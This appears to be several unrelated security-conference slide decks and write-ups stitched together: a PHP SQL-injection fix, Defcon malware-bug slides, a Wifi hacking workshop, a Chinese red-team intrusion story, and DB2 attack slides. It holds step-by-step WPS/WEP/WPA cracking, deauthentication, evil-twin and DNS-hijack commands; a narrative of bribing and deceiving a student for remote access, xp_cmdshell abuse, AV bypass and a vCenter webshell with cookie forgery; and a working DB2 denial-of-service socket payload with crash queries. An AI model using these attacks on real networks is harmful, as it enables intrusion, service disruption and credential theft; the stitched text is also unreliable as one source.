str 是要检查的字符串
那么刚才出现的代码漏洞,我们可以这样修补
// 执行 mysql 查询语句
$query = "select * from postmessage where id = ".intval($_GET["id"]);
$result = mysql_query($query)
or die("执行 ySQL 查询语句失败:" . mysql_error());
如果是字符型,先判断 magic_quotes_gpc 是否为 On,当不为 On 的时候使用 addslashes 转义
特殊字符
if(get_magic_quotes_gpc())
{
$var = $_GET["var"];
}
else
{
$var = addslashes($_GET["var"]);
}
再次测试,漏洞已经修补 | pdf |
making fun of your malware
Defcon 17
Matt Richard and Michael Ligh
Following the presentation at Defcon 17,
you can find the final slides here:
http://code.google.com/p/mhl-malware-scripts/Defcon2009_MakingFun.pdf
Silent Banker author forgets to seed the PRNG
Honey, I Shrunk the Entropy!
Off to a bad start…
Zeus, September 2007
PRNG used to avoid hash-based detection
Silent Banker, Feburary 2008
PRNG used to generate temporary file names
Recipe for disaster - step 1
Silent Banker, July 2008
PRNG used to generate encryption key
Recipe for disaster
1.
Seed the PRNG
2.
Generate 16 byte key with 1000 calls to rand()
3.
Generate 8 byte number from 16 byte key
4.
Generate another 8 byte number from the first 8
byte number and “secd” value from INI
configuration file
5.
Explode the second 8 byte number into 32
bytes
6.
Encrypt stolen data with original 16 byte key
from step 2
7.
Send the exploded 32 byte number along with
stolen data
Recipe to exploit the disaster
1.
Seed the PRNG TO ZERO
2.
Generate 16 byte key with 1000 calls to rand()
3.
Generate 8 byte number from 16 byte key
4.
Generate another 8 byte number from the first 8
byte number and “secd” value from INI
configuration file
5.
Explode the second 8 byte number into 32
bytes
6.
Encrypt stolen data with original 16 byte key
from step 2
7.
Send the exploded 32 byte number along with
stolen data
Disaster recovery
The one that got away…
Torpig installs MBR rootkit to get a DLL
Injected into user-mode programs
I created a hyper cool MBR
rootkit and all I got was this
old trojan DLL
The nasty side
The funny side
The nice side
Attacker’s trojan defaults to xor
due to invalid size DES key
To DES or not to DES?
Always make backups!
xor backup method
How to shoot yourself in the foot
MSDN to the rescue
Conficker.B’s flawed IP generator only
scans a portion of the Internet
Honey, sorry to bother you
again, I shrunk the Internet
The flawed method
What’s the big deal?
1.
Excludes multicast, private, broadcast, etc
2.
Excludes IPs on blacklisted subnets (researcher and A/V networks)
3.
Excludes any IP with an octet set to 255
4.
Excludes any IP with a last octet set to 0
5.
Excludes any IP with a 1 in the upper bit of octets 2 and 4
Simulating the flawed method
A/V vendors miss detection of $10m trojan
for 15 months because of NOOPS
Baffled by the NOOP
Neosploit screws everyone
Thanks for the cash, now
we’re going to dash
Laqma arbitrary file upload
PHP
cookies…mmmm…cookies
Coreflood authors re-invent
“location dependent encryption”
You did what with what?
Location dependent encryption ;-)
•
http://www.freepatentsonline.com/6948062.html
Patent pending…
How to dump core
How to dump core…with wireshark
Explorer gets KILL HUP-ed
Feebs
Yes
No
Yes
ShellServiceObjectDelayLoad
Torpig/Mebroot
Bankpatch
CoreFlood
Virtumonde
Conficker
Zeus
Torpig/Mebroot
Laqma
Vundo
Silent Banker
Example
Yes
No
No
PE patch on disk
Yes
No
Yes
ShellIconOverlayIdentifier
Yes
Yes
Yes
Winlogon notify package
Yes
No
Yes
Svchosts.exe ServiceDll
No
No
No
Loading DLLs from kernel
No
No
No
CreateRemoteThread
No
No
Yes
ShellExecute hooks
No
No
No
Event hooks
No
No
No
Windows hooks
Yes
No
Yes
AppInit_DLLs
Yes
No
Yes
Browser helper objects
Requires App
restart
Requires
reboot
Modifies registry
Method
Quietly, so no one hears
Arms and legs, but no head
Malfind vs Coreflood
Limbo 2
Greatest threat to 2007 to
occur in 2008
Peeper tests code on himself
Don’t get high on your own
supply
Hacker’s own info stealing tool posts info
to monitored site
How to steal your own
identity
The End | pdf |
Wifi Hacking
DEFCON China 1.0 2019
This presentation at http://bit.ly/2LeM0U3
> whoarewe // Philippe Delteil // @philippedelteil
CS. Engineer@University of Chile
Self proclaimed hacker
1st talk at Defcon 26 Skytalks "Macabre stories of a hacker in the public health
sector"
Hacked over 3,000 wifi routers of Brazil's biggest ISP.
Classes for free: CTF, pentesting, programming, basic computer knowledge. In
a Free and Open University.
Founded a company with a very clever name: Info-sec.
> whoarewe //Guillermo Pilleux // @Llipi
B.Sc. CS@University of Chile
Scrappers/crawlers → retrieved 500k Chilean names on genealog.cl
Research on HTR for Opticality in Guatemala
Cybersecurity → 2nd internship in Info-Sec → This Workshop
> Introduction: Very brief history of Wifi
'97 creation of 802.11 → IEEE802.11
'99 → WEP
2001 → WEP exploits
2003 → WPA
2004 → WPA2 → IEEE 802.11i
2006 → WPS
2011 → WPS vulns
2017 → WPA2 vulns (KRACK)
2018 → WPA3
2019 → 5 vulns WPA3
> Wifi: How does it work?
Radio waves transmission
Radio signal → router
Router → decodes the signal → Ethernet connection
Two-way traffic
Data from Internet ↔ router ↔ radio signal ↔ machine's wireless adapter.
> Wifi: How does it work?
> Lab Preps: VM install
1.
Pendrives with persistent Kali Linux
Slow machines || Not enough RAM || Small HDD
2. Host + VirtualBox 5.2.18 + Kali VM
Get your flavour https://bit.ly/2xHsHcI
VirtualBox Guest Additions installed?
How to install it
Windows https://bit.ly/2ZL6Nln
Linux https://bit.ly/2J5wWVU +sudo usermod -a -G vboxusers $USER
> Lab Preps: Wireless Adapter Alfa AWUS036NHA
OS Hosts Install Drivers
Windows
Windows 8/10
Windows 7/Vista/XP
MacOS
10.13/10.12
Linux
rtl8812au
> Lab Preps: Know your victims!
Cheapest Wifi router ~US$20
Includes:
WEP
WPS
WPA/WPA2
> Lab Preps: VM configurations
Wireless Card Configuration
Adapter will be named wlan0, wlan1,.., wlanN
Avoid adapter with names difficult to remember
> sudo sed -i
's/GRUB_CMDLINE_LINUX=\""/GRUB_CMDLINE_LINUX=\"net.ifn
ames=0 biosdevname=0\"/' /etc/default/grub
> Lab Preps: Last Minute Difficulties
Testing
> dmesg
> WPS How does it work?
Helps to have "secure" wireless networks for
newbies/devices
Single hidden hardcoded value
2011 → brute force attack
WPS traffic spoofable
8 numbers → 108
= 100,000,000 key space
Last digit checksum → 107 = 10,000,000
7 digits → first 4 and last 3 diff checks
→ 104 + 103 = 11,000 combinations
> WPS Attack Commands
Setup monitor interface
> airmon-ng start <interface>
Display all devices that support WPS
> wash --ignore-fcs -i <monitor-mode-interface>
Brute force the WPS pin
> reaver -i <monitor-mode-interface> -b <mac> -vv
Authenticate with WPS pin
> reaver -i <monitor-mode-interface> -b <mac> -vv -p <WPS-pin>
> WPS Attack Automatization
Attack them all!
> wget http://bit.ly/2XSs1Ma
> Security/Encryptions
Why wireless network needs to be encrypted?
When you send data over the Internet, you have no power over it once you
send it.
Anybody can access the data while it is in transit.
A way to make your data unreadable to unauthorized users.
1.
WEP
2.
WPA
3.
WPA2
4.
WPA3 (FAIL!)
Dragonblood Vulnerabilities (next workshop)
> WLAN Infrastructure Attacks: WEP (Wired Equivalent Privacy)
How does it work?
64 or 128-bit key sizes
Stream Cipher RC4 (encrypting data 1 bit at a time)
Key is static and is entered manually into AP
2001 WEP was compromised
Very easy to crack!
Some traffic is required
> WLAN Infrastructure Attacks: WEP
Diagram
> WLAN Infrastructure Attacks: WEP
Vulnerabilities
⭐Packets are encrypted with the AP PSK (Pre Shared Key)
⟶ Intercept many packets ⇔ decypher the PSK
> WLAN Infrastructure Attacks: WEP
NOW, locate and attack the WEP!
(1) Start interface
> ifconfig wlan0 up
> airmon-ng start wlan0 #this creates wlan0mon (monitor mode interface)
(2) Look for target
> airodump-ng <monitor-mode-interface>
(3) Sniff packets. Stop airodump and fix channel
> airodump-ng -c <ch> --bssid <mac> -w <output> <mon-mode-interface>
(4) In another terminal, deauth the AP
> aireplay-ng -10 -b <bssid> <monitor-mode-interface>
(5) Wait for #DATA to reach ~10k → crack the password
> aircrack-ng <outputname.cap>
> WLAN Infrastructure Attacks: WEP
Attack Automatization: One channel at the time
> wget https://bit.ly/2GQJsHp
> chmod +x crackWEP.sh
Execute!
> ./crackWEP.sh <bssid> <channel> <interface>
> WLAN Infrastructure Attacks: WPA (Wifi Protected Access)
How does it work?
WPA-TKIP & WPA-PSK (2003)
IEEE 802.11i standard
128-bit key size with TKIP (Temporal Key Integrity Protocol) and 256-bit
key with PSK (Pre-Shared Key)
Stream Cipher RC4 for encryption.
TKIP → per-packet-key that dynamically creates a new 128-bit key for
each packet
> WLAN Infrastructure Attacks: WPA2
How does it work?
Developed 2004 → Adopted 2006
Replaced WPA TKIP/PSK
Supports Advanced Encryption Standard (AES) with available key
sizes of 128, 192, and 256-bit.
> WLAN Infrastructure Attacks: WPA/WPA2
How does it work?
PSK (Pre-Shared Key) is used to generate PMK (Pairwise Master Key),
which is used together with ANonce (AP Nonce) to create PTK (Pairwise
Transient Key).
PTK is divided into KCK (Key Confirmation Key, 128 bit), KEK (Key
Encryption Key, 128 bit) and TEK (Temporal Encryption Key, 128 bit).
KCK is used to construct MAC in EAPOL packets 2,3 and 4.
KEK is used to encrypt data sent to client (e.g. GTK).
TEK is used for encrypting traffic between client and AP.
> WLAN Infrastructure Attacks: WPA/WPA2
WPA/WPA2 4-way handshake
How does it work?
1.
AP sends ANonse (AP Nonce) to client, which is basically a random
Integer of 256 bits.
2.
Client use the ANonce and PMK to generate PTK (Pairwise Transient
Key), and send CNonce (Client Nonce) and MAC.
3.
AP sends MAC and GTK (Group Temporal Key) to client.
4.
Client send ACK with MAC.
> WLAN Infrastructure Attacks: WPA/WPA2
Vulnerability
Algorithm only checks KCK part of the PTK is correct (4th frame of the
MIC).
No need to check other parts of PTK. Why?
1.
MIC verification is how AP checks the validity of PTK (thus the
password)
2.
Chances of a password producing PTK that has valid KCK but invalid
other parts are really low: KCK is 128 bits, so probability of incorrect
password producing correct KCK is 2-128 ~ 1/3x1038
> WLAN Infrastructure Attacks: WPA/WPA2
Vulnerability
⭐ 4-way Password Cracking works like this:
1.
4-way handshake is parsed to get SP and STA addresses, AP and
STA nonces, and EAPOL payload and MIC from 4th frame
2.
Candidate password is used to compute PMK
3.
PTK is computed from PMK, AP and STA addresses and nonces
4.
KCK from computed PTK is used to compute MIC of the EAPOL
payload obtained at step 1
5.
Computed MIC is compared to the MIC obtained at step 1. If they
match then candidate password is reported as correct
> WLAN Infrastructure Attacks: WPA/WPA2
> WLAN Infrastructure Attacks: WPA/WPA2
Practice attacks
(1) Start interface
> ifconfig <interface> up
> airmon-ng start <interface>
(2) Look for target
> airodump-ng <monitor-mode-interface>
(3) Specify your target. Stop previous airodump and fix channel
> airodump-ng --bssid <target-bssid> -c <ch> -w <output> <mon-mode-interface>
(4) In another terminal, deauth the AP
> aireplay-ng -0 10 -a <target-bssid> --ignore-negative-one <mon-mode-interface>
Repeat (4) until WPA handshake message appears at top right corner
Stop airodump
Crack the key with wordlists: some wordlists @ /usr/share/wordlists/metasploit
> aircrack-ng <outputname.cap> -w <wordlist>
> WLAN Infrastructure Attacks: WPA/WPA2
Attack Automatization
Shell Script that attacks every AP in the surroundings
> wget https://bit.ly/2LcX8AK
> WLAN Infrastructure Attacks: WPA/WPA2
Cracking passwords in the cloud
using gpuhash.me
Basic search
8 digits key space
Common WPA wordlists
Free. If found 0.001 BTC (~US$5,4)
to get password
Advanced search
Better wordlists and keyspaces
Pay in advance 0.005 BTC (~US$27)
Free if found
> WLAN Infrastructure Attacks: WPA/WPA2
Cracking passwords in the cloud using
gpuhash.me
Advanced search
9-10 digits + 8 hex upper/lower case
Pay in advance 0.01 BTC (~US$54)
Free if found
Cons
Takes time
Semi-manual
API only sends handshakes
> WLAN Infrastructure Attacks: WPA/WPA2
Cracking passwords GPUs in AWS
Use up to 16 NVIDIA K80 GPUs
Pay per use US$0.425 per GPU/Hour
Cons
Gather dictionaries (language dependent)
Configure environment
Performance is not that good
> Client Attacks: Caffe Latte Attack
WEP Attack
Using just the client. Doesn't need the client near the network.
Important: Have the client in (not associated) mode.
As the client connects to the fake AP Caffe Latte attack starts
Create the fake AP
> airbase-ng -c <channel> -a <bssid> -e <essid> -L -W 1 <interface>
Start collecting data packets from the AP
> airodump-ng --bssid <bssid> -w <file.cap> <interface>
Start aircrack-ng as well
> aircrack-ng <airodump file.cap>
> Client Attacks: Hirte Attack
Caffe Latte Extension - Fragmentation
Create fake AP (-L option instead of -N for Hirte Attack)
> airbase-ng -c <channel> -a <bssid> -e <essid> -L -W 1 <interface>
Capture packets for Honeypot
> airodump-ng -c <ch> --bssid <bssid> --write <outfile.cap> <interface>
Once client connects to our Honeypot AP, Hirte attack is launched
automatically by airbase-ng
Start cracking
> aircrack-ng <airodump file.cap>
Competing with the legitimate router
Bring up the AP
Connect the client to the legitimate AP
Bring up the fake AP with previous command
Send broadcast deauth messages
Clients should connect to your fake AP
Note: The client will connect to the fake AP only IF it has higher signal
strength than the legitimate
> Client Attacks MITM (Evil Twin + Eavesdropping)
> Client Attacks MITM (Evil Twin + Eavesdropping)
Create soft AP
> airbase-ng --essid <essid> -c <channel #> <interface>
airbase-ng creates an interface at0 (tap interface) → check ifconfig at0
Create a bridge eth0 ↔ at0
> brctl addbr <bridge name>
> brctl addif <bridge name> eth0
> brctl addif <bridge name> at0
> ifconfig eth0 0.0.0.0 up
> ifconfig at0 0.0.0.0 up
Assign IP address to the bridge (e.g. 192.168.0.199 )
ifconfig <bridge name> <ip> up
ping 192.168.0.1
Turn on IP forwarding in kernel to ensure packets are forwarded
> echo 1 > /proc/sys/net/ipv4/ip_forward
> Client Attacks MITM (Evil Twin + Eavesdropping)
Connect client to the mitm AP.
Check connectivity and pinging 192.168.0.1
> ping 192.168.0.1
Start Wireshark in the at0 interface. Apply ICMP filter
Ping 192.168.0.1 from the client machine
Deauth clients on the real AP
Check the airbase-ng terminal for the clients connectivity
> Client Attacks MITM (Evil Twin + Eavesdropping)
> Denial of Service (deauth & disassociation)
(1) Start interface
> ifconfig <interface> up #e.g. wlan0
> airmon-ng start <interface> #creates wlan0mon (monitor mode)
(2) Look for target
> airodump-ng <monitor-mode-interface>
(3) Stop previous airodump and fix channel
> airodump-ng -c <ch> --bssid <target-bssid> <mon-mode-interface>
(4) In another terminal, deauth the AP
> aireplay-ng -0 0 -b <target-bssid> <mon-mode-interface>
# -0 parameter ≡ --deauth
# 0 parameter ≡ deauth forever
# Check aireplay-ng --help for more parameters
> Pwned Wifi attacks
AP Login Attack (break into the AP using default
passwords)
1.
Once inside the network, connect to the router:
> firefox $(ip route | grep default | awk '{print $3}')
2.
Look for the "Local Network" → DNS section
3.
Type in your 'malicious' DNS IP
4.
Save & Restart
> Pwned Wifi attacks
Session/DNS hijacking.Session/DNS hijacking.
DNS 132.148.203.33
Record all DNS requests
Use info to do a more
effective phishing attack
> Devices
Wifi Pineapple
US $34 (GearBest)
Wireless USB Adapter
Long Range 3km
Long Range WiFi Repeater
5 kms.
US $220 (Amazon)
US$100 Hak5
> Conclusions
Wifi security is weak
Even WPA3 is vulnerable
Wifi is ubiquitous
WEP is still in the wild
People think Wifi is secure but it's not!
Wifi attacks are cheap and easy
Evil twin is effective | pdf |
0x00 前⾔
作者J0o1ey,有技术交流或渗透测试/Redteam培训需求的朋友欢迎联系QQ/VX-547006660
本⽂简单记述了⼀下本⼈在某攻防演练过程中⼀次层层突破的有趣经历
技术性⼀般,但是层层突破属实艰难,并⽤到了⽐较多的思路,还望各位⼤佬多多指教
0x01 SSO账号获取
由于⽬标是某⼤学,对外开放的服务基本上都是⼀些静态Web⻚⾯,没什么太多利⽤点
因此获取⼀个该⼤学的SSO账号就显得尤为重要~
本⼈使⽤该⼤学的域名、以及常⻅的搜索密码关键词,调⽤Github的api在Github中定位到了就读该⼤学的关键⽤
户
该同学安全意识较为薄弱,经常将账号密码硬编码在程序内,这正是我们苦苦寻觅的⼈才
结合他在其他项⽬中硬编码的学号,我们成功利⽤他的学号+密码登陆该⼤学SSO系统和学⽣vpn系统
本来以为可以进驻内⽹了,结果发现学⽣VPN除了访问⼀些学术资源,啥也⼲不了
好在进去SSO了,那么后⾯接近靶标之路就会更加轻松,现在⾃然要把着⼒点放在SSO能访问到的系统漏洞挖掘上
0x02 某系统接⼝利⽤测试tips获取⼤量信息
⾛了⼀遍SSO能访问的系统
发现某项⽬申请处,可以搜索学校其他同学的信息
如图,接⼝在流量中是这样表现的
我们利⽤⼀个测试tips,将其中的关键键置空,或者使⽤通配符*,发现可以成功返回全校三万多名学⽣的信息
凭此成果,仅能得⼀点可怜的分数,还得继续来撸
我继续在系统重翻找接⼝,终于发现了⼀个可以搜索学校⽼师的接⼝
同样的使⽤刚刚的tips,在关键的键处置空键值或使⽤*,这次运⽓很好,返回的信息中,甚⾄出现了所有⽼师的
⼯号和md5加密的密码
甚⾄包括sso管理员的密码。。。
解了⼀下admin的密码,⾮常遗憾,解不开,不然游戏就直接结束了~
但我们现在掌握了⼤量⽼师的⼯号,密码(包括负责运维的⽼师),那么我们后⾯进驻内⽹的⼯作就会顺利很多
0x03 进驻DMZ区并获取内⽹跳板
我们做了很⻓时间的信息搜集,找到了该学校开放在外⽹给运维⼈员使⽤的DMZ区VPN
我们直接⽤刚刚获取到负责运维的⽼师的账号密码登录,发现⼀直不好使...
结果试了⼀下,发现密码竟然和⼯号是⼀致的....真是⽆语...
随后就成功接⼊了该学校DMZ区VPN
进⼊DMZ区后,我们简单做了⼀下弱⼝令扫描探测,发现了⼀台SqlServer的弱⼝令
直接通过恢复执⾏xp_cmdshell,发现还是管理员权限
但是列进程的时候发现了万恶的某60
试了试⾃⼰之前的certutil下载⽂件绕过⽅法,因为之前交了360SRC,已经被修复了,TMD直接被拦
但是仔细⼀想,SqlServer中是存在LOL bin的,可以实现⽩利⽤执⾏powershell
通过此姿势,成功上线CS
如此⼀来,访问内⽹核⼼区的跳板就有了~
0x04 被踢出内⽹与收买学校内⻤
还没等开⼼⼀会,突然发现CS的进程已经被下掉了,并且DMZ区账号也被踢下线并改密码了
估计是⽬标机有主机安全设备,检测到了进程中的CS内存特征或流量特征。。。
线索全断,让⼈陷⼊了沉思,不过转念⼀想,内⽹代理套代理也是卡的要死,还不如想想办法如何直接获取内⽹核
⼼区的访问权限
我们于是在咸⻥上开始寻找猎物,发现了就读于该⼤学的某学⽣
该学⽣咸⻥上挂的具体内容忘记截图了,⼤体意思是”我是xxx⼤学的学⽣,可以为⼤家提供xxx⼤学的有关帮助,
考研,⽣活等等等,视难度收费10-50“
我们直接加他联系⽅式,给他转了50。
话术如下
LOL bin
C:\Program files (x86)\Microsoft SQL Server\xxx\Tools\Binn\SQLPS.exe
C:\Program files (x86)\Microsoft SQL Server\xxx\Tools\Binn\SQLPS.exe whoami
就这样,我们连上了这个⼆傻⼦的向⽇葵
然后直接⽤他的cmd,把权限给到CS,做好权限维持
我:你好你好,我是xx⼤学的学⽣,现在在外⾯,回不去学校,想⽤下你的电脑,访问学校内的教务系统,给您50元答
谢
对⽅:哦哦可以,你看看怎么整
我:你下个向⽇葵,然后把主机号和密码发给我就好
对⽅:okok
把隧道传出来,发现学⽣的PC竟然可以直接访问核⼼区。。。随后在内⽹⼜开始了扫描,撸了⼀些乱七⼋糟的系
统,⽐如海康某设备的RCE,web系统的注⼊,⽹关等等东⻄,但都没法反弹shell。。
当时⼜发现了⼀个SSH弱⼝令,可给我们⾼兴坏了,⼆话不说连过去
当看到这⼀幕的时候,⼀身冷汗,因为⾮常清楚,⾃⼰踩到内⽹蜜罐了,⼜要寄了。。。
果然不出20分钟,那位同学就发来了微信
⽓煞我也,后⾯想继续⽤⾦钱收买,道了歉,说⾃⼰⼀不⼩⼼传错软件了,⼜给他转了20块钱,想再⽤⼀阵
可谁知
⽓煞我也,竟然不讲武德
0x05 近源渗透直捣⻩⻰
眼看着所有能通向内⽹核⼼区的路径全寄了,我们只能想办法出奇制胜,摇⼈去近源渗透
叫甲⽅派了了个⼈,混进学校内的图书馆,⽤之前获取到的学⽣sso账号接⼊校园⽹
如此⼀来,我们就有了稳定且不易察觉的内⽹通道
接下来就是常规操作了,漏扫核⼼⽹段,发现了docker api未授权和vcenter的RCE
可控制数⼗个镜像
核⼼区VCenter存在CVE-2021-21972漏洞,可直接写⼊Webshell
随后可利⽤Vcenter的shell权限实现cookie伪造
使⽤脚本
https://github.com/horizon3ai/vcenter_saml_login/blob/main/vcenter_saml_login.py
使⽤⽣成的cookie进驻VCenter
分数刷满,润了~
0x06 末⾔
本⽂没有过多的技术性东⻄,主要是跟⼤家分享⼀下⾃⼰打攻防被”围追堵截“的经典案例,给奋⽃在攻防⼀线的兄
弟加油⿎劲
权限掉了,被踢出内⽹,莫要灰⼼⽓馁,⻅招拆招,才是攻防的乐趣所在
python3 vcenter_saml_login.py -t Vcenter内⽹ip -p data.mdb
data.mdb路径
windows:C:/ProgramData/VMware/vCenterServer/data/vmdird/data.mdb
linux:/storage/db/vmware-vmdir/data.mdb | pdf |
Hacking and Securing
DB2 LUW
Alexander Kornbrust – Red-Database-Security GmbH
Table of Content
Information
Known DB2 LUW Exploits
Vulnerabilities in custom DB2 code
Accessing the OS from the DB
Hardening DB2
Summary
Information
Version History
Where to get DB2 LUW
Pre-installed DB2 Image(s)
Architecture
How to connect to DB2
Version History 9.7 (Cobra)
DB2 9.7 for LUW
Released
9.7.4
19-Apr-2011
9.7.3a
02-Dec-2010
9.7.3
10-Sep-2010
9.7.2
28-May-2010
9.7.1
24-Nov-2009
9.7.0
28-Aug-2009
End of Support
20-Sep-2014
Extended Support
30-Sep-2017
Version History 9.5 (Viper 2)
DB2 9.5 for LUW
Released
9.5.7
13-Dec-2010
9.5.6
27-Aug-2010
9.5.5
14-Dec-2009
9.5.4
25-May-2009
9.5.3
08-Dec-2008
9.5.2a
23-Sep-2008
9.5.2
22-Aug-2008
9.5.1
11-Apr-2008
9.5.0
14-Dec-2007
End of Support
30-Apr-2013
Extended Support
30-Apr-2016
Version History 9.1 (Viper)
DB2 9.5 for LUW
Released
9.1.10
18-Feb-2011
9.1.9
08-Apr-2010
9.1.8
28-Sep-2009
9.1.7
30-Mar-2009
9.1.6
14-Oct-2008
9.1.5
30-May-2008
9.1.4
13-Nov-2007
9.1.3
15-Aug-2007
9.1.0
22-Sep-2006
End of Support
30-Apr-2012
Extended Support
30-Apr-2015
Where to get DB2 LUW
Download from IBM (requires account)
Free Express Edition (various platforms)
http://www.ibm.com/developerworks/
downloads/im/udbexp/index.html
Trial Versions
https://www14.software.ibm.com/webapp/iwm/
web/reg/pick.do?source=swg-dm-db297trial
Older versions of DB2 are difficult to find for non-IBM
customers.
Pre-installed DB2 Image(s)
DB2 9.7.2 - Dubuntu (Ubuntu 10.04 LTS)
http://db2hitman.wordpress.com/dubuntu-
server-v4/
DB2 9.5 Express-C (Suse Linux 10.0)
http://www.vmware.com/appliances/directory/
109333
DB2 9.7.1 Data Server (Sue Linux Enterprise 11)
https://www14.software.ibm.com/webapp/iwm/
web/reg/pick.do?source=swg-dm-db297trial
DB2 - Architecture
How to connect to DB2
Command Line:
1. Connecting to an DB2 LUW using CLP
C:\> db2cmd
c:\> db2
db2 => db2 connect to sample
db2 => SELECT * FROM
SYSIBMADM.ENV_PROD_INFO
How to connect to DB2
Known DB2 Exploits
9.5
9.7
Analyzing FixPacks for unknown vulnerabilities
Known DB2 Exploits – 9.5
Unsecure Random
Unsecure Random (bug, <9.5 FP5, <9.7 FP1)
Denial of Service
Heap Overflow Repeat (DB2 <V9.1 FP9, <V9.5 FP6, and <V9.7
FP2)
Data Stream DoS (<9.5 FP3a)
Malicious Connect DoS (<9.5 FP3a)
Instance Crash
Order by with XMLtable (<V9.5 FP6a)
Remove duplicate predicates (9.7<FP2, <V9.5 FP6a)
Single byte partition (9.7<FP2, 9.5 < FP6)
Create table MQT (9.7<FP3, 9.5 < FP6)
Like in a mixed/EUC codepage database (9.7<FP3, 9.5 < FP6)
Keywords in insert statement (9.7<FP3, 9.5 < FP6)
Known DB2 Exploits – 9.7
Unsecure Random
Unsecure Random (bug, <9.5 FP5, <9.7 FP1)
Denial of Service
kuddb2 DoS ( 9.7.1)
Heap Overflow Repeat (DB2 <V9.1 FP9, <V9.5 FP6, and <V9.7 FP2)
Instance Crash
Remove duplicate predicates (9.7<FP2)
Large number of unions (9.7<FP2)
Single byte partition (9.7<FP2)
Create table MQT (9.7<FP3, 9.5 < FP6)
XML Host Variables (9.7<FP3)
Like in a mixed/EUC codepage database (9.7<FP3, 9.5 < FP6)
Keywords in insert statement (9.7<FP3, 9.5 < FP6)
Unsecure Random
select c1,rand() from test1 order by 2;
select c1,rand() from test1 order by 2;
Heap Overflow Repeat
Found: Intevydis
SELECT REPEAT(REPEAT('1',1000),1073741825)
FROM SYSIBM.SYSDUMMY1
Data Stream D.o.S.
Found: Dennis Yurichev
# Discovered by Dennis Yurichev [email protected]
# DB2TEST database should be present on target system
from sys import *
from socket import *
sockobj = socket(AF_INET, SOCK_STREAM)
sockobj.connect ((argv[1], 50000))
sockobj.send(
"\x00\xBE\xD0\x41\x00\x01\x00\xB8\x10\x41\x00\x7F\x11\x5E\x97\xA8"
"\xA3\x88\x96\x95\x4B\x85\xA7\x85\x40\x40\x40\x40\x40\x40\x40\x40"
"\x40\x40\xF0\xF1\xC3\xF4\xF0\xF1\xF1\xF8\xF0\xF0\xF0\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x60\xF0\xF0"
"\xF0\xF1\xD5\xC1\xD4\xC5\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40"
"\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40"
"\xC4\xC2\xF2\xE3\xC5\xE2\xE3\x40\xF0\xC4\xC2\xF2\x40\x40\x40\x40"
"\x40\x40\x40\x40\x40\x40\x40\x40\x40\x00\x18\x14\x04\x14\x03\x00"
"\x07\x24\x07\x00\x09\x14\x74\x00\x05\x24\x0F\x00\x08\x14\x40\x00"
"\x08\x00\x0B\x11\x47\xD8\xC4\xC2\xF2\x61\xD5\xE3\x00\x06\x11\x6D"
"\xE7\xD7\x00\x0C\x11\x5A\xE2\xD8\xD3\xF0\xF9\xF0\xF5\xF0\x00\x4A"
"\xD0\x01\x00\x02\x00\x44\x10\x6E\x00\x06\x11\xA2\x00\x09\x00\x16"
"\x21\x10\xC4\xC2\xF2\xE3\xC5\xE2\xE3\x40\x40\x40\x40\x40\x40\x40"
"\x40\x40\x40\x40\x00\x24\x11\xDC\x6F\xC1\x3B\xD4\x3C\x33\xF8\x0C"
"\xC9\x96\x6E\x6C\xCD\xB9\x0A\x2C\x9C\xEC\x49\x2A\x1A\x4D\xCE\x62"
"\x47\x9D\x37\x88\xA8\x77\x23\x43")
sockobj.close()
Malicious Connect D.o.S.
Found: Dennis Yurichev
http://blogs.conus.info/node/17
Order by with XMLtable Crash
Found: IBM
If you run a SQL, order by with xmltable table function which
works on a constructed or inlined xml document, as below, the
instance may be crashed.
:
(SELECT
XMLELEMENT(NAME "root",
XMLAGG(
XMLELEMENT(NAME "kind",
XMLELEMENT(NAME "id", trim(ki.id)),
XMLELEMENT(NAME "d_id", trim(ki.d_id)),
XMLELEMENT(NAME "name", km.name),
XMLELEMENT(NAME "d", km.d)
)
ORDER BY km.d
) as kind
)
:
, xmltable(
'$KIND/kind[1]' COLUMNS
col1 DECIMAL(8,0) PATH './d',
col2 VARCHAR(10) PATH './id',
col3 VARCHAR(10) PATH './d_id'
)
ORDER BY
col1 ASC, col2 ASC, col3 ASC
;
Duplicate Predicates Crash
Found: IBM
select *
from table1
where col1=2
or col1=2
or col1=2
or col1=2
or col1=2
Single Byte Partition Crash
Found: IBM
DATABASE prova USING CODESET iso885915
TERRITORY it;
CONNECT TO prova;
CREATE TABLESPACE TS1 MANAGED BY SYSTEM
USING ('/xxx/TS1');
CREATE TABLE zzz (ID VARCHAR FOR SBCS DATA
NOT NULL) PARTITION BY (ID)(PART P0 STARTING
(MINVALUE) IN TS1,PART P1 STARTING('A ')
ENDING('Z ') IN TS1);
Create Table MQT Crash
Found: IBM
A query containing MIN or MAX aggregate function and referring to
MQT with group by clause can cause an instance crash.
-- MQT defintion
create table t1 (x int);
create table t2 (a int, b int);
create table MQT as (
select x
from t1
group by x
) data initially deferred refresh deferred;
refresh table mqt;
-- Query traps
select min(b)
from t1, (select a, b from t2 group by a, b)
where x = a and a = 1
group by a;
To hit the trap, the following conditions need to be satisfied:
1. MQT has group by clause and it references to T1 but not T2.
2. Query has group by clause too.
3. In query, T1 joins with a (e.g. Group-By) subquery of T2.
4. Query contains MAX or MIN aggregate whose operand(s)
involves column from T2 (e.g. min(b)).
5. All MQT Group-By columns are bound to constant in the query
(i.e. x is bound to 1 due to query predicates "x=a and a = 1").
Duplicate Predicates Crash
Found: IBM
select *
from table1
where col1=2
or col1=2
or col1=2
or col1=2
or col1=2
Keyword Crash
Found: IBM
create table t1 (i1 int);
create sequence SEQ1;
insert into t1 (SEQ1.currval) values (1);
Outer Join Crash
Found: IBM
create view V as select * from T1 left outer
join T2 ...
select * from V, T3 where V.C1=T3.C2
XML Host Variables Crash
Found: IBM
This happens because in DPF DB2 tries to collect rids for
the XML document being bound in through the
APPLICATION host variable and they record these rids in
all subsections running on coordinator node which finally
results in a bad page error during other operations.
DB2 instance crashed during an "insert from select with
xml host variable".
INSERT INTO security (SECSYM, SDOC)
SELECT T.SECSYM, T.SDOC FROM
XMLTABLE('declare default element namespace
"http://tpox-benchmark.com/security";$SDOC'
passing xmlcast(? as
xml) as "SDOC"
COLUMNS
"SECSYM" VARCHAR(15) PATH '*:Security/
*:Symbol',
"SDOC" XML PATH '.') AS T
Large Number of Unions Crash
Found: IBM
select *
from table1
union
select *
from table1
union
select *
from table1
union
select *
from table1
union
select *
from table1
union
...
Change Owner
